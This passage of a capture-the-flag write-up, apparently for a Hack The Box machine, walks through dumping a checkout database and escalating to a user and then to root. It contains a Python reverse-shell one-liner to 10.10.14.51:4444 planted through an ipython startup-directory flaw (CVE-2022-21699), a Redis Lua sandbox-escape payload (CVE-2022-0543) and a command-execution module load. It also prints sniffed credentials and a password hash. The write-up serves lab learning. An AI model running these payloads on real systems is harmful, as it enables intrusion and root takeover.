define('DBPWD','a54$K_M4?DdT^HUk'); define('DBNAME','checkout'); ?> Database side: USE checkout; select * from user; +----+-------------+----------------------------------+ | id | username | password | +----+-------------+----------------------------------+ | 1 | james_mason | fc895d4eddc2fc12f995e18c865cf273 | +----+-------------+----------------------------------+ select * from product; +----+----------+-------+ | id | code | price | +----+----------+-------+ | 1 | 53GG2EF8 | 23.90 | | 2 | YCS98E4A | 35.90 | | 3 | CRAAFTKP | 29.00 | | 4 | MFDSVHXQ | 29.00 | | 5 | SS5UMYLB | 29.00 | | 6 | 7DA8SKYP | 11.90 | | 7 | 2E6E8GXJ | 11.90 | | 8 | 562XZDU8 | 11.90 | | 9 | DW64K6JF | 18.90 | | 10 | B4GTLMT3 | 18.90 | | 11 | B4ATAMB4 | 18.90 | | 12 | 4HAR4XDK | 9.00 | | 13 | UE593T4N | 9.00 | | 14 | WH82F998 | 9.00 | | 15 | PPZV67J5 | 35.00 | | 16 | BTAPXNX4 | 12.90 | | 17 | 5P6UG55R | 12.90 | | 18 | 77W6QWLX | 12.90 | | 19 | 8LPULR6Q | 13.90 | +----+----------+-------+ Privesc user I run the usual script linpeas.sh interesting group developer → find / -group developer 2>/dev/null /opt/scripts_review Running pspy64 I see that a cronjob is being executed: 2022/09/11 05:59:01 CMD: UID=0 PID=82273 | /usr/sbin/CRON -f 2022/09/11 05:59:01 CMD: UID=0 PID=82275 | sleep 5 2022/09/11 05:59:01 CMD: UID=0 PID=82274 | /bin/bash /root/c.sh 2022/09/11 05:59:01 CMD: UID=1001 PID=82277 | /usr/bin/pkill ipython 2022/09/11 05:59:01 CMD: UID=1001 PID=82276 | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython 2022/09/11 05:59:01 CMD: UID=1001 PID=82278 | /usr/bin/python3 /usr/local/bin/ipython The ipython command is run inside the /opt/scripts_review/ directory, it doesn’t make much sense without arguments. ipython keeps its configurations inside the directory: ipython locate /home/james_mason/.ipython This part of the box reminds me of the OpenSource root flag: you had to work on the .git directory of the repo owned by the user in which the git command was run as root inside it. In this case it is more difficult because if you created a .ipython directory inside /opt/scripts_review/ it would be ignored by the user with id 1001 ( dan_smith) because he has his own configuration of ipython: /home/dan_smith/.ipython There is a CVE for ipython at version 8.0.0 → https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x I try to run the exploit: mkdir -p /opt/scripts_review/profile_default/startup && chmod -R 777 /opt/scripts_review/profile_default/ && echo \"import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.51',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')\" > /opt/scripts_review/profile_default/startup/foo.py bingo! but why does it work? In the patch you can see: IPython/core/application.py def _config_file_paths_default(self): return [os.getcwd()] was changed to def _config_file_paths_default(self): return [] IPython/core/profiledir.py paths = [os.getcwd(), ipython_dir] was changed to paths = [ipython_dir] The source code of ipython before FIX CVE-2022-21699: https://github.com/ipython/ipython/tree/b8d7dfa8d78108f3f01486d9fa67b6841acb8f74 I reproduce the exploit locally: git clone https://github.com/ipython/ipython.git /home/user/Downloads/ipython/ cd /home/user/Downloads/ipython/ git reset --hard b8d7dfa8d78108f3f01486d9fa67b6841acb8f74 sudo pip3 install -e . cd /home/user/Downloads/ mkdir test && cd test nc -lnvp 4444 (another terminal) mkdir -p /home/user/Downloads/test/profile_default/startup && echo \"import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.51',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')\" > /home/user/Downloads/test/profile_default/startup/foo.py sudo ipython So the function find_profile_dir_by_name() at this version returned in the list also the os.getcwd(). It was also passed as input to the function find_profile_dir_by_name() the value of get_ipython_dir() that read $IPYTHONDIR. The problem is that for both james_mason and dan_smith it is empty, but even if it were set it would have less precedence than os.getcwd(): https://github.com/ipython/ipython/blob/23c328212ad01d846ec9998533ccdc5f5d17fbe9/IPython/core/profiledir.py#L203 paths = [os.getcwd(), ipython_dir] There is a discrepancy between what I have reproduced locally and the behavior in the box: if I don’t give permission 777 to the profile_default folder and to profile_default/startup it doesn’t work. Reason: File \"/usr/local/lib/python3.9/dist-packages/IPython/core/profiledir.py\", line 125, in check_security_dir self._mkdir(self.security_dir, 0o40700) File \"/usr/local/lib/python3.9/dist-packages/IPython/core/profiledir.py\", line 95, in _mkdir os.mkdir(path, mode) PermissionError: [Errno 13] Permission denied: '/opt/scripts_review/profile_default/security' File \"/usr/local/lib/python3.9/dist-packages/IPython/core/profiledir.py\", line 121, in check_startup_dir shutil.copy(src, readme) File \"/usr/lib/python3.9/shutil.py\", line 418, in copy copyfile(src, dst, follow_symlinks=follow_symlinks) File \"/usr/lib/python3.9/shutil.py\", line 264, in copyfile with open(src, 'rb') as fsrc, open(dst, 'wb') as fdst: PermissionError: [Errno 13] Permission denied: '/opt/scripts_review/profile_default/startup/README' The reason therefore is that ipython tries to create its own configuration files and fails if it does not have write permission. Privesc root I run the usual script linpeas.sh ╔══════════╣ My user ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin) find / -group sysadmin 2>/dev/null /usr/local/bin/redis_connector_dev ls -al /usr/local/bin/redis_connector_dev -rwxr-x--- 1 root sysadmin 5974154 Mar 20 09:41 /usr/local/bin/redis_connector_dev I run: /usr/local/bin/redis_connector_dev [+] Logging to redis instance using password... INFO command result: # Server redis_version:6.0.15 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:4610f4c3acf7fb25 redis_mode:standalone os:Linux 5.10.0-16-amd64 x86_64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:10.2.1 process_id:83354 run_id:b1d5c673b3d670f3fc567ccdc14c3a337ed297cc tcp_port:6379 uptime_in_seconds:6 uptime_in_days:0 hz:10 configured_hz:10 lru_clock:2043228 executable:/usr/bin/redis-server config_file:/etc/redis/redis.conf io_threads_active:0 <nil> Manages to login to redis, then I unload the binary and start reversing it with ghidra. But first I look at the traffic with wireshark while trying to connect to a local redis instance: 4\t0.000829298\t::1\t::1\tTCP\t125\t35854 → 6379 [PSH, ACK] Seq=1 Ack=1 Win=65536 Len=37 TSval=513050482 TSecr=513050482 Frame 4: 125 bytes on wire (1000 bits), 125 bytes captured (1000 bits) on interface any, id 0 Linux cooked capture v1 Internet Protocol Version 6, Src: ::1, Dst: ::1 Transmission Control Protocol, Src Port: 35854, Dst Port: 6379, Seq: 1, Ack: 1, Len: 37 Data (37 bytes) Data: 2a 32 0d 0a 24 34 0d 0a 61 75 74 68 0d 0a 24 31 36 0d 0a 46 32 57 48 71 4a 55 7a 32 57 45 7a 3d 47 71 71 0d 0a [Length: 37] in the data field it reads: *2 $4 auth $16 F2WHqJUz2WEz=Gqq The last field could be the password, I look on the locally installed redis-server if the traffic matches: redis-cli -h 127.0.0.1 -p 6379 -a 'F2WHqJUz2WEz=Gqq' 8\t1.889181379\t127.0.0.1\t127.0.0.1\tTCP\t105\t46490 → 6379 [PSH, ACK] Seq=1 Ack=1 Win=65536 Len=37 TSval=1089735618 TSecr=1089735613 Frame 8: 105 bytes on wire (840 bits), 105 bytes captured (840 bits) on interface any, id 0 Linux cooked capture v1 Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1 Transmission Control Protocol, Src Port: 46490, Dst Port: 6379, Seq: 1, Ack: 1, Len: 37 Data (37 bytes) Data: 2a 32 0d 0a 24 34 0d 0a 61 75 74 68 0d 0a 24 31 36 0d 0a 46 32 57 48 71 4a 55 7a 32 57 45 7a 3d 47 71 71 0d 0a [Length: 37] In the data field it reads: *2 $4 auth $16 F2WHqJUz2WEz=Gqq bingo! I got the redis password, I log into the box: redis-cli -h 127.0.0.1 -p 6379 -a 'F2WHqJUz2WEz=Gqq' → it works Enumeration of the content inside the redis server: 127.0.0.1:6379> INFO keyspace # Keyspace 127.0.0.1:6379> keys * (empty array) 127.0.0.1:6379> dbsize (integer) 0 completely empty! I google “redis privesc” and I found https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/ From hacktricks: https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#lua-sandbox-bypass and https://github.com/aodsec/CVE-2022-0543 Proof of concept: https://github.com/vulhub/vulhub/tree/master/redis/CVE-2022-0543 127.0.0.1:6379> info # Server redis_version:6.0.15 vulnerable! Run the exploit: eval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"id\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0 \"uid=0(root) gid=0(root) groups=0(root)\\n\" Another method https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#load-redis-module: git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git Compile it with make I upload module.so on the /tmp/module.so box with python http server redis-cli -h 127.0.0.1 -p 6379 -a 'F2WHqJUz2WEz=Gqq' MODULE LOAD \"/tmp/module.so\" (error) ERR Error loading the extension. Please check the server logs. There is an error but the module was loaded anyway: MODULE LIST 1) 1) \"name\" 2) \"system\" 3) \"ver\" 4) (integer) 1 system.exec \"id\" \"uid=0(root) gid=0(root) groups=0(root)\\n\" " }]}